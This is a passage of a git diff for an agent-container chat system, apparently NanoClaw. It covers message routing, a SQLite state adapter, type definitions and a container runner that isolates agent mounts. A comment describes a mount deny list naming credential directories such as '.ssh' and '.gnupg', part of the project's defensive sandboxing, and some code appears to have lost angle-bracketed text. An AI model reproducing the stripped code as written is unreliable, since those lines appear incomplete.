resolveSession, writeSessionMessage } from './session-manager.js'; +import { wakeContainer } from './container-runner.js'; +import { getSession } from './db/sessions.js'; +import type { MessagingGroupAgent } from './types.js'; -export function escapeXml(s: string): string { - if (!s) return ''; - return s.replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; } -export function formatMessages(messages: NewMessage[], timezone: string): string { - const lines = messages.map((m) => { - const displayTime = formatLocalTime(m.timestamp, timezone); - const replyAttr = m.reply_to_message_id ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` : ''; - const replySnippet = - m.reply_to_message_content && m.reply_to_sender_name - ? `\n ${escapeXml(m.reply_to_message_content)}` - : ''; - return `${replySnippet}${escapeXml(m.content)}`; +export interface InboundEvent { + channelType: string; + platformId: string; + threadId: string | null; + message: { + id: string; + kind: 'chat' | 'chat-sdk'; + content: string; // JSON blob + timestamp: string; + }; +} + +/** + * Route an inbound message from a channel adapter to the correct session. + * Creates messaging group + session if they don't exist yet. + */ +export async function routeInbound(event: InboundEvent): Promise { + // 1. Resolve messaging group + let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); + + if (!mg) { + // Auto-create messaging group (adapter already decided to forward this) + const mgId = `mg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + mg = { + id: mgId, + channel_type: event.channelType, + platform_id: event.platformId, + name: null, + is_group: 0, + admin_user_id: null, + created_at: new Date().toISOString(), + }; + createMessagingGroup(mg); + log.info('Auto-created messaging group', { + id: mgId, + channelType: event.channelType, + platformId: event.platformId, + }); + } + + // 2. Resolve agent group via messaging_group_agents + const agents = getMessagingGroupAgents(mg.id); + if (agents.length === 0) { + log.warn('No agent groups configured for messaging group', { + messagingGroupId: mg.id, + platformId: event.platformId, + }); + return; + } + + // Pick the best matching agent (highest priority, trigger matching in future) + const match = pickAgent(agents, event); + if (!match) { + log.debug('No agent matched for message', { messagingGroupId: mg.id }); + return; + } + + // 3. Resolve or create session + const { session, created } = resolveSession(match.agent_group_id, mg.id, event.threadId, match.session_mode); + + // 4. Write message to session DB + writeSessionMessage(session.agent_group_id, session.id, { + id: event.message.id || generateId(), + kind: event.message.kind, + timestamp: event.message.timestamp, + platformId: event.platformId, + channelType: event.channelType, + threadId: event.threadId, + content: event.message.content, }); - const header = `\n`; + log.info('Message routed', { + sessionId: session.id, + agentGroup: match.agent_group_id, + kind: event.message.kind, + created, + }); - return `${header}\n${lines.join('\n')}\n`; + // 5. Wake container + const freshSession = getSession(session.id); + if (freshSession) { + await wakeContainer(freshSession); + } } -export function stripInternalTags(text: string): string { - return text.replace(/[\s\S]*?<\/internal>/g, '').trim(); -} - -export function formatOutbound(rawText: string): string { - const text = stripInternalTags(rawText); - if (!text) return ''; - return text; -} - -export function routeOutbound(channels: Channel[], jid: string, text: string): Promise { - const channel = channels.find((c) => c.ownsJid(jid) && c.isConnected()); - if (!channel) throw new Error(`No channel for JID: ${jid}`); - return channel.sendMessage(jid, text); -} - -export function findChannel(channels: Channel[], jid: string): Channel | undefined { - return channels.find((c) => c.ownsJid(jid)); +/** + * Pick the matching agent for an inbound event. + * Currently: highest priority agent. Future: trigger rule matching. + */ +function pickAgent(agents: MessagingGroupAgent[], _event: InboundEvent): MessagingGroupAgent | null { + // Agents are already ordered by priority DESC from the DB query + // TODO: apply trigger_rules matching (pattern, mentionOnly, etc.) + return agents[0] ?? null; } diff --git a/src/session-manager.ts b/src/session-manager.ts index 4498198..64e1922 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -10,7 +10,7 @@ import { DATA_DIR } from './config.js'; import { createSession, findSession, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; import { SESSION_SCHEMA } from './db/schema.js'; -import type { Session } from './types-v2.js'; +import type { Session } from './types.js'; /** Root directory for all session data. */ export function sessionsBaseDir(): string { diff --git a/src/state-sqlite.ts b/src/state-sqlite.ts index 64731a2..ec15bd6 100644 --- a/src/state-sqlite.ts +++ b/src/state-sqlite.ts @@ -31,9 +31,9 @@ export class SqliteStateAdapter implements StateAdapter { async get(key: string): Promise { this.cleanup(); - const row = this.db - .prepare('SELECT value, expires_at FROM chat_sdk_kv WHERE key = ?') - .get(key) as { value: string; expires_at: number | null } | undefined; + const row = this.db.prepare('SELECT value, expires_at FROM chat_sdk_kv WHERE key = ?').get(key) as + | { value: string; expires_at: number | null } + | undefined; if (!row) return null; if (row.expires_at && row.expires_at < Date.now()) { this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); @@ -44,16 +44,22 @@ export class SqliteStateAdapter implements StateAdapter { async set(key: string, value: T, ttlMs?: number): Promise { const expiresAt = ttlMs ? Date.now() + ttlMs : null; - this.db.prepare('INSERT OR REPLACE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)').run(key, JSON.stringify(value), expiresAt); + this.db + .prepare('INSERT OR REPLACE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)') + .run(key, JSON.stringify(value), expiresAt); } async setIfNotExists(key: string, value: unknown, ttlMs?: number): Promise { - const existing = this.db.prepare('SELECT expires_at FROM chat_sdk_kv WHERE key = ?').get(key) as { expires_at: number | null } | undefined; + const existing = this.db.prepare('SELECT expires_at FROM chat_sdk_kv WHERE key = ?').get(key) as + | { expires_at: number | null } + | undefined; if (existing?.expires_at && existing.expires_at < Date.now()) { this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); } const expiresAt = ttlMs ? Date.now() + ttlMs : null; - const result = this.db.prepare('INSERT OR IGNORE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)').run(key, JSON.stringify(value), expiresAt); + const result = this.db + .prepare('INSERT OR IGNORE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)') + .run(key, JSON.stringify(value), expiresAt); return result.changes > 0; } @@ -83,7 +89,9 @@ export class SqliteStateAdapter implements StateAdapter { const token = crypto.randomUUID(); const expiresAt = now + ttlMs; this.db.prepare('DELETE FROM chat_sdk_locks WHERE thread_id = ? AND expires_at < ?').run(threadId, now); - const result = this.db.prepare('INSERT OR IGNORE INTO chat_sdk_locks (thread_id, token, expires_at) VALUES (?, ?, ?)').run(threadId, token, expiresAt); + const result = this.db + .prepare('INSERT OR IGNORE INTO chat_sdk_locks (thread_id, token, expires_at) VALUES (?, ?, ?)') + .run(threadId, token, expiresAt); if (result.changes === 0) return null; return { threadId, token, expiresAt }; } @@ -94,7 +102,9 @@ export class SqliteStateAdapter implements StateAdapter { async extendLock(lock: Lock, ttlMs: number): Promise { const newExpiry = Date.now() + ttlMs; - const result = this.db.prepare('UPDATE chat_sdk_locks SET expires_at = ? WHERE thread_id = ? AND token = ?').run(newExpiry, lock.threadId, lock.token); + const result = this.db + .prepare('UPDATE chat_sdk_locks SET expires_at = ? WHERE thread_id = ? AND token = ?') + .run(newExpiry, lock.threadId, lock.token); if (result.changes > 0) { lock.expiresAt = newExpiry; return true; @@ -110,9 +120,13 @@ export class SqliteStateAdapter implements StateAdapter { async appendToList(key: string, value: unknown, options?: { maxLength?: number; ttlMs?: number }): Promise { const expiresAt = options?.ttlMs ? Date.now() + options.ttlMs : null; - const maxRow = this.db.prepare('SELECT MAX(idx) as maxIdx FROM chat_sdk_lists WHERE key = ?').get(key) as { maxIdx: number | null } | undefined; + const maxRow = this.db.prepare('SELECT MAX(idx) as maxIdx FROM chat_sdk_lists WHERE key = ?').get(key) as + | { maxIdx: number | null } + | undefined; const nextIdx = (maxRow?.maxIdx ?? -1) + 1; - this.db.prepare('INSERT INTO chat_sdk_lists (key, idx, value, expires_at) VALUES (?, ?, ?, ?)').run(key, nextIdx, JSON.stringify(value), expiresAt); + this.db + .prepare('INSERT INTO chat_sdk_lists (key, idx, value, expires_at) VALUES (?, ?, ?, ?)') + .run(key, nextIdx, JSON.stringify(value), expiresAt); if (options?.maxLength) { const cutoff = nextIdx - options.maxLength; if (cutoff >= 0) { @@ -123,7 +137,11 @@ export class SqliteStateAdapter implements StateAdapter { async getList(key: string): Promise { const now = Date.now(); - const rows = this.db.prepare('SELECT value FROM chat_sdk_lists WHERE key = ? AND (expires_at IS NULL OR expires_at > ?) ORDER BY idx ASC').all(key, now) as { value: string }[]; + const rows = this.db + .prepare( + 'SELECT value FROM chat_sdk_lists WHERE key = ? AND (expires_at IS NULL OR expires_at > ?) ORDER BY idx ASC', + ) + .all(key, now) as { value: string }[]; return rows.map((r) => JSON.parse(r.value) as T); } @@ -137,7 +155,9 @@ export class SqliteStateAdapter implements StateAdapter { async dequeue(threadId: string): Promise { const key = `queue:${threadId}`; - const row = this.db.prepare('SELECT idx, value FROM chat_sdk_lists WHERE key = ? ORDER BY idx ASC LIMIT 1').get(key) as { idx: number; value: string } | undefined; + const row = this.db + .prepare('SELECT idx, value FROM chat_sdk_lists WHERE key = ? ORDER BY idx ASC LIMIT 1') + .get(key) as { idx: number; value: string } | undefined; if (!row) return null; this.db.prepare('DELETE FROM chat_sdk_lists WHERE key = ? AND idx = ?').run(key, row.idx); return JSON.parse(row.value) as QueueEntry; @@ -145,7 +165,9 @@ export class SqliteStateAdapter implements StateAdapter { async queueDepth(threadId: string): Promise { const key = `queue:${threadId}`; - const row = this.db.prepare('SELECT COUNT(*) as count FROM chat_sdk_lists WHERE key = ?').get(key) as { count: number }; + const row = this.db.prepare('SELECT COUNT(*) as count FROM chat_sdk_lists WHERE key = ?').get(key) as { + count: number; + }; return row.count; } diff --git a/src/types-v2.ts b/src/types-v2.ts deleted file mode 100644 index 7b202bb..0000000 --- a/src/types-v2.ts +++ /dev/null @@ -1,90 +0,0 @@ -// ── Central DB entities ── - -export interface AgentGroup { - id: string; - name: string; - folder: string; - is_admin: number; // 0 | 1 - agent_provider: string | null; - container_config: string | null; // JSON: { additionalMounts, timeout } - created_at: string; -} - -export interface MessagingGroup { - id: string; - channel_type: string; - platform_id: string; - name: string | null; - is_group: number; // 0 | 1 - admin_user_id: string | null; - created_at: string; -} - -export interface MessagingGroupAgent { - id: string; - messaging_group_id: string; - agent_group_id: string; - trigger_rules: string | null; // JSON: { pattern, mentionOnly, excludeSenders, includeSenders } - response_scope: 'all' | 'triggered' | 'allowlisted'; - session_mode: 'shared' | 'per-thread'; - priority: number; - created_at: string; -} - -export interface Session { - id: string; - agent_group_id: string; - messaging_group_id: string | null; - thread_id: string | null; - agent_provider: string | null; - status: 'active' | 'closed'; - container_status: 'running' | 'idle' | 'stopped'; - last_active: string | null; - created_at: string; -} - -// ── Session DB entities ── - -export type MessageInKind = 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system'; -export type MessageInStatus = 'pending' | 'processing' | 'completed' | 'failed'; - -export interface MessageIn { - id: string; - kind: MessageInKind; - timestamp: string; - status: MessageInStatus; - status_changed: string | null; - process_after: string | null; - recurrence: string | null; - tries: number; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - content: string; // JSON blob -} - -export interface MessageOut { - id: string; - in_reply_to: string | null; - timestamp: string; - delivered: number; // 0 | 1 - deliver_after: string | null; - recurrence: string | null; - kind: string; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - content: string; // JSON blob -} - -// ── Pending questions (central DB) ── - -export interface PendingQuestion { - question_id: string; - session_id: string; - message_out_id: string; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - created_at: string; -} diff --git a/src/types.ts b/src/types.ts index 717aff6..7b202bb 100644 --- a/src/types.ts +++ b/src/types.ts @@ -1,112 +1,90 @@ -export interface AdditionalMount { - hostPath: string; // Absolute path on host (supports ~ for home) - containerPath?: string; // Optional — defaults to basename of hostPath. Mounted at /workspace/extra/{value} - readonly?: boolean; // Default: true for safety -} +// ── Central DB entities ── -/** - * Mount Allowlist - Security configuration for additional mounts - * This file should be stored at ~/.config/nanoclaw/mount-allowlist.json - * and is NOT mounted into any container, making it tamper-proof from agents. - */ -export interface MountAllowlist { - // Directories that can be mounted into containers - allowedRoots: AllowedRoot[]; - // Glob patterns for paths that should never be mounted (e.g., ".ssh", ".gnupg") - blockedPatterns: string[]; - // If true, non-main groups can only mount read-only regardless of config - nonMainReadOnly: boolean; -} - -export interface AllowedRoot { - // Absolute path or ~ for home (e.g., "~/projects", "/var/repos") - path: string; - // Whether read-write mounts are allowed under this root - allowReadWrite: boolean; - // Optional description for documentation - description?: string; -} - -export interface ContainerConfig { - additionalMounts?: AdditionalMount[]; - timeout?: number; // Default: 300000 (5 minutes) -} - -export interface RegisteredGroup { +export interface AgentGroup { + id: string; name: string; folder: string; - trigger: string; - added_at: string; - containerConfig?: ContainerConfig; - requiresTrigger?: boolean; // Default: true for groups, false for solo chats - isMain?: boolean; // True for the main control group (no trigger, elevated privileges) -} - -export interface NewMessage { - id: string; - chat_jid: string; - sender: string; - sender_name: string; - content: string; - timestamp: string; - is_from_me?: boolean; - is_bot_message?: boolean; - thread_id?: string; - reply_to_message_id?: string; - reply_to_message_content?: string; - reply_to_sender_name?: string; -} - -export interface ScheduledTask { - id: string; - group_folder: string; - chat_jid: string; - prompt: string; - script?: string | null; - schedule_type: 'cron' | 'interval' | 'once'; - schedule_value: string; - context_mode: 'group' | 'isolated'; - next_run: string | null; - last_run: string | null; - last_result: string | null; - status: 'active' | 'paused' | 'completed'; + is_admin: number; // 0 | 1 + agent_provider: string | null; + container_config: string | null; // JSON: { additionalMounts, timeout } created_at: string; } -export interface TaskRunLog { - task_id: string; - run_at: string; - duration_ms: number; - status: 'success' | 'error'; - result: string | null; - error: string | null; +export interface MessagingGroup { + id: string; + channel_type: string; + platform_id: string; + name: string | null; + is_group: number; // 0 | 1 + admin_user_id: string | null; + created_at: string; } -// --- Channel abstraction --- - -export interface Channel { - name: string; - connect(): Promise; - sendMessage(jid: string, text: string): Promise; - isConnected(): boolean; - ownsJid(jid: string): boolean; - disconnect(): Promise; - // Optional: typing indicator. Channels that support it implement it. - setTyping?(jid: string, isTyping: boolean): Promise; - // Optional: sync group/chat names from the platform. - syncGroups?(force: boolean): Promise; +export interface MessagingGroupAgent { + id: string; + messaging_group_id: string; + agent_group_id: string; + trigger_rules: string | null; // JSON: { pattern, mentionOnly, excludeSenders, includeSenders } + response_scope: 'all' | 'triggered' | 'allowlisted'; + session_mode: 'shared' | 'per-thread'; + priority: number; + created_at: string; } -// Callback type that channels use to deliver inbound messages -export type OnInboundMessage = (chatJid: string, message: NewMessage) => void; +export interface Session { + id: string; + agent_group_id: string; + messaging_group_id: string | null; + thread_id: string | null; + agent_provider: string | null; + status: 'active' | 'closed'; + container_status: 'running' | 'idle' | 'stopped'; + last_active: string | null; + created_at: string; +} -// Callback for chat metadata discovery. -// name is optional — channels that deliver names inline (Telegram) pass it here; -// channels that sync names separately (via syncGroups) omit it. -export type OnChatMetadata = ( - chatJid: string, - timestamp: string, - name?: string, - channel?: string, - isGroup?: boolean, -) => void; +// ── Session DB entities ── + +export type MessageInKind = 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system'; +export type MessageInStatus = 'pending' | 'processing' | 'completed' | 'failed'; + +export interface MessageIn { + id: string; + kind: MessageInKind; + timestamp: string; + status: MessageInStatus; + status_changed: string | null; + process_after: string | null; + recurrence: string | null; + tries: number; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; // JSON blob +} + +export interface MessageOut { + id: string; + in_reply_to: string | null; + timestamp: string; + delivered: number; // 0 | 1 + deliver_after: string | null; + recurrence: string | null; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; // JSON blob +} + +// ── Pending questions (central DB) ── + +export interface PendingQuestion { + question_id: string; + session_id: string; + message_out_id: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + created_at: string; +} diff --git a/src/channels/registry.test.ts b/src/v1/channels/registry.test.ts similarity index 100% rename from src/channels/registry.test.ts rename to src/v1/channels/registry.test.ts diff --git a/src/channels/registry.ts b/src/v1/channels/registry.ts similarity index 100% rename from src/channels/registry.ts rename to src/v1/channels/registry.ts diff --git a/src/v1/config.ts b/src/v1/config.ts new file mode 100644 index 0000000..ef1ba9e --- /dev/null +++ b/src/v1/config.ts @@ -0,0 +1,62 @@ +import os from 'os'; +import path from 'path'; + +import { readEnvFile } from './env.js'; +import { isValidTimezone } from './timezone.js'; + +// Read config values from .env (falls back to process.env). +const envConfig = readEnvFile(['ASSISTANT_NAME', 'ASSISTANT_HAS_OWN_NUMBER', 'ONECLI_URL', 'TZ']); + +export const ASSISTANT_NAME = process.env.ASSISTANT_NAME || envConfig.ASSISTANT_NAME || 'Andy'; +export const ASSISTANT_HAS_OWN_NUMBER = + (process.env.ASSISTANT_HAS_OWN_NUMBER || envConfig.ASSISTANT_HAS_OWN_NUMBER) === 'true'; +export const POLL_INTERVAL = 2000; +export const SCHEDULER_POLL_INTERVAL = 60000; + +// Absolute paths needed for container mounts +const PROJECT_ROOT = process.cwd(); +const HOME_DIR = process.env.HOME || os.homedir(); + +// Mount security: allowlist stored OUTSIDE project root, never mounted into containers +export const MOUNT_ALLOWLIST_PATH = path.join(HOME_DIR, '.config', 'nanoclaw', 'mount-allowlist.json'); +export const SENDER_ALLOWLIST_PATH = path.join(HOME_DIR, '.config', 'nanoclaw', 'sender-allowlist.json'); +export const STORE_DIR = path.resolve(PROJECT_ROOT, 'store'); +export const GROUPS_DIR = path.resolve(PROJECT_ROOT, 'groups'); +export const DATA_DIR = path.resolve(PROJECT_ROOT, 'data'); + +export const CONTAINER_IMAGE = process.env.CONTAINER_IMAGE || 'nanoclaw-agent:latest'; +export const CONTAINER_TIMEOUT = parseInt(process.env.CONTAINER_TIMEOUT || '1800000', 10); +export const CONTAINER_MAX_OUTPUT_SIZE = parseInt(process.env.CONTAINER_MAX_OUTPUT_SIZE || '10485760', 10); // 10MB default +export const ONECLI_URL = process.env.ONECLI_URL || envConfig.ONECLI_URL; +export const MAX_MESSAGES_PER_PROMPT = Math.max(1, parseInt(process.env.MAX_MESSAGES_PER_PROMPT || '10', 10) || 10); +export const IPC_POLL_INTERVAL = 1000; +export const IDLE_TIMEOUT = parseInt(process.env.IDLE_TIMEOUT || '1800000', 10); // 30min default — how long to keep container alive after last result +export const MAX_CONCURRENT_CONTAINERS = Math.max(1, parseInt(process.env.MAX_CONCURRENT_CONTAINERS || '5', 10) || 5); + +function escapeRegex(str: string): string { + return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + +export function buildTriggerPattern(trigger: string): RegExp { + return new RegExp(`^${escapeRegex(trigger.trim())}\\b`, 'i'); +} + +export const DEFAULT_TRIGGER = `@${ASSISTANT_NAME}`; + +export function getTriggerPattern(trigger?: string): RegExp { + const normalizedTrigger = trigger?.trim(); + return buildTriggerPattern(normalizedTrigger || DEFAULT_TRIGGER); +} + +export const TRIGGER_PATTERN = buildTriggerPattern(DEFAULT_TRIGGER); + +// Timezone for scheduled tasks, message formatting, etc. +// Validates each candidate is a real IANA identifier before accepting. +function resolveConfigTimezone(): string { + const candidates = [process.env.TZ, envConfig.TZ, Intl.DateTimeFormat().resolvedOptions().timeZone]; + for (const tz of candidates) { + if (tz && isValidTimezone(tz)) return tz; + } + return 'UTC'; +} +export const TIMEZONE = resolveConfigTimezone(); diff --git a/src/container-runner.test.ts b/src/v1/container-runner.test.ts similarity index 100% rename from src/container-runner.test.ts rename to src/v1/container-runner.test.ts diff --git a/src/v1/container-runner.ts b/src/v1/container-runner.ts new file mode 100644 index 0000000..b04cc28 --- /dev/null +++ b/src/v1/container-runner.ts @@ -0,0 +1,677 @@ +/** + * Container Runner for NanoClaw + * Spawns agent execution in containers and handles IPC + */ +import { ChildProcess, spawn } from 'child_process'; +import fs from 'fs'; +import path from 'path'; + +import { + CONTAINER_IMAGE, + CONTAINER_MAX_OUTPUT_SIZE, + CONTAINER_TIMEOUT, + DATA_DIR, + GROUPS_DIR, + IDLE_TIMEOUT, + ONECLI_URL, + TIMEZONE, +} from './config.js'; +import { resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; +import { logger } from './logger.js'; +import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; +import { OneCLI } from '@onecli-sh/sdk'; +import { validateAdditionalMounts } from './mount-security.js'; +import { RegisteredGroup } from './types.js'; + +const onecli = new OneCLI({ url: ONECLI_URL }); + +// Sentinel markers for robust output parsing (must match agent-runner) +const OUTPUT_START_MARKER = '---NANOCLAW_OUTPUT_START---'; +const OUTPUT_END_MARKER = '---NANOCLAW_OUTPUT_END---'; + +export interface ContainerInput { + prompt: string; + sessionId?: string; + groupFolder: string; + chatJid: string; + isMain: boolean; + isScheduledTask?: boolean; + assistantName?: string; + script?: string; +} + +export interface ContainerOutput { + status: 'success' | 'error'; + result: string | null; + newSessionId?: string; + error?: string; +} + +interface VolumeMount { + hostPath: string; + containerPath: string; + readonly: boolean; +} + +function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount[] { + const mounts: VolumeMount[] = []; + const projectRoot = process.cwd(); + const groupDir = resolveGroupFolderPath(group.folder); + + if (isMain) { + // Main gets the project root read-only. Writable paths the agent needs + // (store, group folder, IPC, .claude/) are mounted separately below. + // Read-only prevents the agent from modifying host application code + // (src/, dist/, package.json, etc.) which would bypass the sandbox + // entirely on next restart. + mounts.push({ + hostPath: projectRoot, + containerPath: '/workspace/project', + readonly: true, + }); + + // Shadow .env so the agent cannot read secrets from the mounted project root. + // Credentials are injected by the OneCLI gateway, never exposed to containers. + const envFile = path.join(projectRoot, '.env'); + if (fs.existsSync(envFile)) { + mounts.push({ + hostPath: '/dev/null', + containerPath: '/workspace/project/.env', + readonly: true, + }); + } + + // Main gets writable access to the store (SQLite DB) so it can + // query and write to the database directly. + const storeDir = path.join(projectRoot, 'store'); + mounts.push({ + hostPath: storeDir, + containerPath: '/workspace/project/store', + readonly: false, + }); + + // Main also gets its group folder as the working directory + mounts.push({ + hostPath: groupDir, + containerPath: '/workspace/group', + readonly: false, + }); + + // Global memory directory — writable for main so it can update shared context + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ + hostPath: globalDir, + containerPath: '/workspace/global', + readonly: false, + }); + } + } else { + // Other groups only get their own folder + mounts.push({ + hostPath: groupDir, + containerPath: '/workspace/group', + readonly: false, + }); + + // Global memory directory (read-only for non-main) + // Only directory mounts are supported, not file mounts + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ + hostPath: globalDir, + containerPath: '/workspace/global', + readonly: true, + }); + } + } + + // Per-group Claude sessions directory (isolated from other groups) + // Each group gets their own .claude/ to prevent cross-group session access + const groupSessionsDir = path.join(DATA_DIR, 'sessions', group.folder, '.claude'); + fs.mkdirSync(groupSessionsDir, { recursive: true }); + const settingsFile = path.join(groupSessionsDir, 'settings.json'); + if (!fs.existsSync(settingsFile)) { + fs.writeFileSync( + settingsFile, + JSON.stringify( + { + env: { + // Enable agent swarms (subagent orchestration) + // https://code.claude.com/docs/en/agent-teams#orchestrate-teams-of-claude-code-sessions + CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', + // Load CLAUDE.md from additional mounted directories + // https://code.claude.com/docs/en/memory#load-memory-from-additional-directories + CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', + // Enable Claude's memory feature (persists user preferences between sessions) + // https://code.claude.com/docs/en/memory#manage-auto-memory + CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', + }, + }, + null, + 2, + ) + '\n', + ); + } + + // Sync skills from container/skills/ into each group's .claude/skills/ + const skillsSrc = path.join(process.cwd(), 'container', 'skills'); + const skillsDst = path.join(groupSessionsDir, 'skills'); + if (fs.existsSync(skillsSrc)) { + for (const skillDir of fs.readdirSync(skillsSrc)) { + const srcDir = path.join(skillsSrc, skillDir); + if (!fs.statSync(srcDir).isDirectory()) continue; + const dstDir = path.join(skillsDst, skillDir); + fs.cpSync(srcDir, dstDir, { recursive: true }); + } + } + mounts.push({ + hostPath: groupSessionsDir, + containerPath: '/home/node/.claude', + readonly: false, + }); + + // Per-group IPC namespace: each group gets its own IPC directory + // This prevents cross-group privilege escalation via IPC + const groupIpcDir = resolveGroupIpcPath(group.folder); + fs.mkdirSync(path.join(groupIpcDir, 'messages'), { recursive: true }); + fs.mkdirSync(path.join(groupIpcDir, 'tasks'), { recursive: true }); + fs.mkdirSync(path.join(groupIpcDir, 'input'), { recursive: true }); + mounts.push({ + hostPath: groupIpcDir, + containerPath: '/workspace/ipc', + readonly: false, + }); + + // Copy agent-runner source into a per-group writable location so agents + // can customize it (add tools, change behavior) without affecting other + // groups. Recompiled on container startup via entrypoint.sh. + const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); + const groupAgentRunnerDir = path.join(DATA_DIR, 'sessions', group.folder, 'agent-runner-src'); + if (fs.existsSync(agentRunnerSrc)) { + const srcIndex = path.join(agentRunnerSrc, 'index.ts'); + const cachedIndex = path.join(groupAgentRunnerDir, 'index.ts'); + const needsCopy = + !fs.existsSync(groupAgentRunnerDir) || + !fs.existsSync(cachedIndex) || + (fs.existsSync(srcIndex) && fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs); + if (needsCopy) { + fs.cpSync(agentRunnerSrc, groupAgentRunnerDir, { recursive: true }); + } + } + mounts.push({ + hostPath: groupAgentRunnerDir, + containerPath: '/app/src', + readonly: false, + }); + + // Additional mounts validated against external allowlist (tamper-proof from containers) + if (group.containerConfig?.additionalMounts) { + const validatedMounts = validateAdditionalMounts(group.containerConfig.additionalMounts, group.name, isMain); + mounts.push(...validatedMounts); + } + + return mounts; +} + +async function buildContainerArgs( + mounts: VolumeMount[], + containerName: string, + agentIdentifier?: string, +): Promise { + const args: string[] = ['run', '-i', '--rm', '--name', containerName]; + + // Pass host timezone so container's local time matches the user's + args.push('-e', `TZ=${TIMEZONE}`); + + // OneCLI gateway handles credential injection — containers never see real secrets. + // The gateway intercepts HTTPS traffic and injects API keys or OAuth tokens. + const onecliApplied = await onecli.applyContainerConfig(args, { + addHostMapping: false, // Nanoclaw already handles host gateway + agent: agentIdentifier, + }); + if (onecliApplied) { + logger.info({ containerName }, 'OneCLI gateway config applied'); + } else { + logger.warn({ containerName }, 'OneCLI gateway not reachable — container will have no credentials'); + } + + // Runtime-specific args for host gateway resolution + args.push(...hostGatewayArgs()); + + // Run as host user so bind-mounted files are accessible. + // Skip when running as root (uid 0), as the container's node user (uid 1000), + // or when getuid is unavailable (native Windows without WSL). + const hostUid = process.getuid?.(); + const hostGid = process.getgid?.(); + if (hostUid != null && hostUid !== 0 && hostUid !== 1000) { + args.push('--user', `${hostUid}:${hostGid}`); + args.push('-e', 'HOME=/home/node'); + } + + for (const mount of mounts) { + if (mount.readonly) { + args.push(...readonlyMountArgs(mount.hostPath, mount.containerPath)); + } else { + args.push('-v', `${mount.hostPath}:${mount.containerPath}`); + } + } + + args.push(CONTAINER_IMAGE); + + return args; +} + +export async function runContainerAgent( + group: RegisteredGroup, + input: ContainerInput, + onProcess: (proc: ChildProcess, containerName: string) => void, + onOutput?: (output: ContainerOutput) => Promise, +): Promise { + const startTime = Date.now(); + + const groupDir = resolveGroupFolderPath(group.folder); + fs.mkdirSync(groupDir, { recursive: true }); + + const mounts = buildVolumeMounts(group, input.isMain); + const safeName = group.folder.replace(/[^a-zA-Z0-9-]/g, '-'); + const containerName = `nanoclaw-${safeName}-${Date.now()}`; + // Main group uses the default OneCLI agent; others use their own agent. + const agentIdentifier = input.isMain ? undefined : group.folder.toLowerCase().replace(/_/g, '-'); + const containerArgs = await buildContainerArgs(mounts, containerName, agentIdentifier); + + logger.debug( + { + group: group.name, + containerName, + mounts: mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`), + containerArgs: containerArgs.join(' '), + }, + 'Container mount configuration', + ); + + logger.info( + { + group: group.name, + containerName, + mountCount: mounts.length, + isMain: input.isMain, + }, + 'Spawning container agent', + ); + + const logsDir = path.join(groupDir, 'logs'); + fs.mkdirSync(logsDir, { recursive: true }); + + return new Promise((resolve) => { + const container = spawn(CONTAINER_RUNTIME_BIN, containerArgs, { + stdio: ['pipe', 'pipe', 'pipe'], + }); + + onProcess(container, containerName); + + let stdout = ''; + let stderr = ''; + let stdoutTruncated = false; + let stderrTruncated = false; + + container.stdin.write(JSON.stringify(input)); + container.stdin.end(); + + // Streaming output: parse OUTPUT_START/END marker pairs as they arrive + let parseBuffer = ''; + let newSessionId: string | undefined; + let outputChain = Promise.resolve(); + + container.stdout.on('data', (data) => { + const chunk = data.toString(); + + // Always accumulate for logging + if (!stdoutTruncated) { + const remaining = CONTAINER_MAX_OUTPUT_SIZE - stdout.length; + if (chunk.length > remaining) { + stdout += chunk.slice(0, remaining); + stdoutTruncated = true; + logger.warn({ group: group.name, size: stdout.length }, 'Container stdout truncated due to size limit'); + } else { + stdout += chunk; + } + } + + // Stream-parse for output markers + if (onOutput) { + parseBuffer += chunk; + let startIdx: number; + while ((startIdx = parseBuffer.indexOf(OUTPUT_START_MARKER)) !== -1) { + const endIdx = parseBuffer.indexOf(OUTPUT_END_MARKER, startIdx); + if (endIdx === -1) break; // Incomplete pair, wait for more data + + const jsonStr = parseBuffer.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); + parseBuffer = parseBuffer.slice(endIdx + OUTPUT_END_MARKER.length); + + try { + const parsed: ContainerOutput = JSON.parse(jsonStr); + if (parsed.newSessionId) { + newSessionId = parsed.newSessionId; + } + hadStreamingOutput = true; + // Activity detected — reset the hard timeout + resetTimeout(); + // Call onOutput for all markers (including null results) + // so idle timers start even for 